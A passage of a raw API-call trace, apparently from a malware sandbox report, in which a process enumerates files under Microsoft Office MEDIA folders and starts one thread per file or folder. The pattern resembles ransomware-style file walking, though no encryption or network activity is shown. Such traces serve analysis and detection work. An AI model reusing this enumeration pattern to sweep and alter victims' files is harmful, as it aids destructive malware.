Office\\MEDIA\\CAGCAT10" [0126.779] wcscat (in: _Dest=0x1b86be50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.779] wcscat (in: _Dest=0x1b86be50, _Source="J0301480.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" [0126.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86be50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb4 [0126.780] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0126.780] wcscmp (_String1="J0302827.JPG", _String2=".") returned 1 [0126.780] wcscmp (_String1="J0302827.JPG", _String2="..") returned 1 [0126.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86c1b0 [0126.780] wcscpy (in: _Dest=0x1b86c1b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.780] wcscat (in: _Dest=0x1b86c1b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.781] wcscat (in: _Dest=0x1b86c1b0, _Source="J0302827.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" [0126.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb0 [0126.781] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0126.782] wcscmp (_String1="J0302953.JPG", _String2=".") returned 1 [0126.782] wcscmp (_String1="J0302953.JPG", _String2="..") returned 1 [0126.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86bdc0 [0126.782] wcscpy (in: _Dest=0x1b86bdc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.782] wcscat (in: _Dest=0x1b86bdc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.782] wcscat (in: _Dest=0x1b86bdc0, _Source="J0302953.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" [0126.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bdc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8 [0126.783] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0126.783] wcscmp (_String1="J0304933.WMF", _String2=".") returned 1 [0126.783] wcscmp (_String1="J0304933.WMF", _String2="..") returned 1 [0126.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b550 [0126.783] wcscpy (in: _Dest=0x1b86b550, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.783] wcscat (in: _Dest=0x1b86b550, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.783] wcscat (in: _Dest=0x1b86b550, _Source="J0304933.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" [0126.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca0 [0126.784] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0126.784] wcscmp (_String1="J0305257.WMF", _String2=".") returned 1 [0126.784] wcscmp (_String1="J0305257.WMF", _String2="..") returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b430 [0126.784] wcscpy (in: _Dest=0x1b86b430, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.784] wcscat (in: _Dest=0x1b86b430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.784] wcscat (in: _Dest=0x1b86b430, _Source="J0305257.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" [0126.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c [0126.785] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0126.785] wcscmp (_String1="J0305493.WMF", _String2=".") returned 1 [0126.785] wcscmp (_String1="J0305493.WMF", _String2="..") returned 1 [0126.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b670 [0126.785] wcscpy (in: _Dest=0x1b86b670, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.785] wcscat (in: _Dest=0x1b86b670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.785] wcscat (in: _Dest=0x1b86b670, _Source="J0305493.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" [0126.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98 [0126.786] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0126.786] wcscmp (_String1="J0315447.JPG", _String2=".") returned 1 [0126.786] wcscmp (_String1="J0315447.JPG", _String2="..") returned 1 [0126.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b700 [0126.787] wcscpy (in: _Dest=0x1b86b700, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.787] wcscat (in: _Dest=0x1b86b700, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.787] wcscat (in: _Dest=0x1b86b700, _Source="J0315447.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" [0126.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94 [0126.787] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0126.787] wcscmp (_String1="J0332268.WMF", _String2=".") returned 1 [0126.788] wcscmp (_String1="J0332268.WMF", _String2="..") returned 1 [0126.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b3a0 [0126.788] wcscpy (in: _Dest=0x1b86b3a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.788] wcscat (in: _Dest=0x1b86b3a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.788] wcscat (in: _Dest=0x1b86b3a0, _Source="J0332268.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" [0126.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90 [0126.789] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0126.789] wcscmp (_String1="J0332364.WMF", _String2=".") returned 1 [0126.789] wcscmp (_String1="J0332364.WMF", _String2="..") returned 1 [0126.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b0d0 [0126.789] wcscpy (in: _Dest=0x1b86b0d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.789] wcscat (in: _Dest=0x1b86b0d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.789] wcscat (in: _Dest=0x1b86b0d0, _Source="J0332364.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" [0126.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c [0126.790] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0126.790] wcscmp (_String1="J0335112.WMF", _String2=".") returned 1 [0126.790] wcscmp (_String1="J0335112.WMF", _String2="..") returned 1 [0126.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b280 [0126.790] wcscpy (in: _Dest=0x1b86b280, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.790] wcscat (in: _Dest=0x1b86b280, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.790] wcscat (in: _Dest=0x1b86b280, _Source="J0335112.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" [0126.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc88 [0126.791] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0126.791] wcscmp (_String1="J0336075.WMF", _String2=".") returned 1 [0126.791] wcscmp (_String1="J0336075.WMF", _String2="..") returned 1 [0126.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b1f0 [0126.791] wcscpy (in: _Dest=0x1b86b1f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.792] wcscat (in: _Dest=0x1b86b1f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.792] wcscat (in: _Dest=0x1b86b1f0, _Source="J0336075.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" [0126.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc84 [0126.792] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0 [0126.792] FindClose (in: hFindFile=0x1cd9d4f0 | out: hFindFile=0x1cd9d4f0) returned 1 [0126.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce567d0) returned 1 [0126.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0126.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2360) returned 1 Thread: id = 365 os_tid = 0xee4 [0089.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1f70 [0089.732] wcscpy (in: _Dest=0x1b7c1f70, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0089.732] wcscat (in: _Dest=0x1b7c1f70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0089.732] wcscat (in: _Dest=0x1b7c1f70, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*" [0089.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56a40 [0089.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d490 [0089.734] wcscmp (_String1=".", _String2=".") returned 0 [0089.734] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.734] wcscmp (_String1="..", _String2=".") returned 1 [0089.734] wcscmp (_String1="..", _String2="..") returned 0 [0089.734] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.734] wcscmp (_String1="1033", _String2=".") returned 1 [0089.734] wcscmp (_String1="1033", _String2="..") returned 1 [0089.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79e070 [0089.734] wcscpy (in: _Dest=0x1b79e070, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0089.734] wcscat (in: _Dest=0x1b79e070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0089.734] wcscat (in: _Dest=0x1b79e070, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" [0097.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79e070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdfc [0097.899] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0097.899] wcscmp (_String1="AUTOSHAP", _String2=".") returned 1 [0097.899] wcscmp (_String1="AUTOSHAP", _String2="..") returned 1 [0097.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e270 [0097.899] wcscpy (in: _Dest=0x1b79e270, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0097.900] wcscat (in: _Dest=0x1b79e270, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0097.900] wcscat (in: _Dest=0x1b79e270, _Source="AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0097.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79e270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1330 [0097.900] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0097.900] wcscmp (_String1="BULLETS", _String2=".") returned 1 [0097.900] wcscmp (_String1="BULLETS", _String2="..") returned 1 [0097.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b868fc0 [0097.900] wcscpy (in: _Dest=0x1b868fc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0097.900] wcscat (in: _Dest=0x1b868fc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0097.900] wcscat (in: _Dest=0x1b868fc0, _Source="BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0097.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1334 [0097.901] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, 